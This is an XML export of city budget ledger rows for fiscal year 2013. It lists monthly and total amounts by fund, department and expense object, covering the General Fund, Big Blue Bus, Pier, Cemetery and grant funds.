<row _id="4287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
<row _id="4288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>45427.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>454</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45881.0</total></row>
<row _id="4289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>542210.0</object><object_description>PUBLICATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>177263.0</july><august>0</august><september>0.0</september><october>5028.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>182291.0</total></row>
<row _id="4290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>26550.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26550.0</total></row>
<row _id="4291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>561504.0</object><object_description>SERIAL INEBRIATE PROG-HAP</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>450778.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-115778</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>335000.0</total></row>
<row _id="4292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-21161.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-21161.0</total></row>
<row _id="4293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-45071.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-45071.0</total></row>
<row _id="4294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-27931.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27931.0</total></row>
<row _id="4295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-48120.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-48120.0</total></row>
<row _id="4296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-91989.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4709</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-87280.0</total></row>
<row _id="4297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-466321.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>326030</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-140291.0</total></row>
<row _id="4298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-53244.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-53244.0</total></row>
<row _id="4299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>180830.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>35067</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>215897.0</total></row>
<row _id="4300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2622.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>359</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2981.0</total></row>
<row _id="4301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-12989.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-12989.0</total></row>
<row _id="4302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>20</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>236.0</total></row>
<row _id="4303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="4304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6240.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6240.0</total></row>
<row _id="4305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>35621.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>150000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>185621.0</total></row>
<row _id="4306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>765685.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>7657</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>773342.0</total></row>
<row _id="4307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7408.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7408.0</total></row>
<row _id="4308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>480.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>480.0</total></row>
<row _id="4309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>578990.0</object><object_description>WELLNESS PROGRAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="4310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1662.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1662.0</total></row>
<row _id="4311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>990.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>990.0</total></row>
<row _id="4312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>485.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>485.0</total></row>
<row _id="4313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566553.0</object><object_description>GLOW</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="4314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562155.0</object><object_description>PRESCHOOL-ERLY INT &amp; VIOL PREV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70577.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70577.0</total></row>
<row _id="4315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562270.0</object><object_description>ST. JOHN'S CFDC-ROGERS LEARNIN</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>59867.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>59867.0</total></row>
<row _id="4316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>ST. JOE-HPSHP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>273211.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>273211.0</total></row>
<row _id="4317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562434.0</object><object_description>SHP-OPCC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>112958.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112958.0</total></row>
<row _id="4318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406796.0</object><object_description>10 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-1871.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1871.0</total></row>
<row _id="4319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569223.0</object><object_description>MORGAN-WIXSON THEATRE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406795.0</object><object_description>09 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>-6738.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6738.0</total></row>
<row _id="4321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404010.0</object><object_description>PROP 84-16TH ST WATERSHED</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-1013085.0</march><april>0</april><may>0</may><june>0.0</june><total>-1013085.0</total></row>
<row _id="4322"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404030.0</object><object_description>PROP 84-IN-LINE STORM DRAIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-287689.21</march><april>0</april><may>0</may><june>0.0</june><total>-287689.21</total></row>
<row _id="4323"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544470.0</object><object_description>GROUNDS MAINT EQ &amp; SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="4324"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408250.0</object><object_description>AHPP COMP MONITOR-STARTUP FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-17000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-17000.0</total></row>
<row _id="4325"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>38727.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>387</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39114.0</total></row>
<row _id="4326"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="4327"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="4328"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="4329"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5165.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5165.0</total></row>
<row _id="4330"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="4331"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555820.0</object><object_description>CUPA ELECTRONIC REPORTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39724.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39724.0</total></row>
<row _id="4332"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563129.0</object><object_description>SENIOR CENTER OPERATIONS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>150000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="4333"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>576521.0</object><object_description>9-1-1 VOICE LOGGERS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>85480.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>85480.0</total></row>
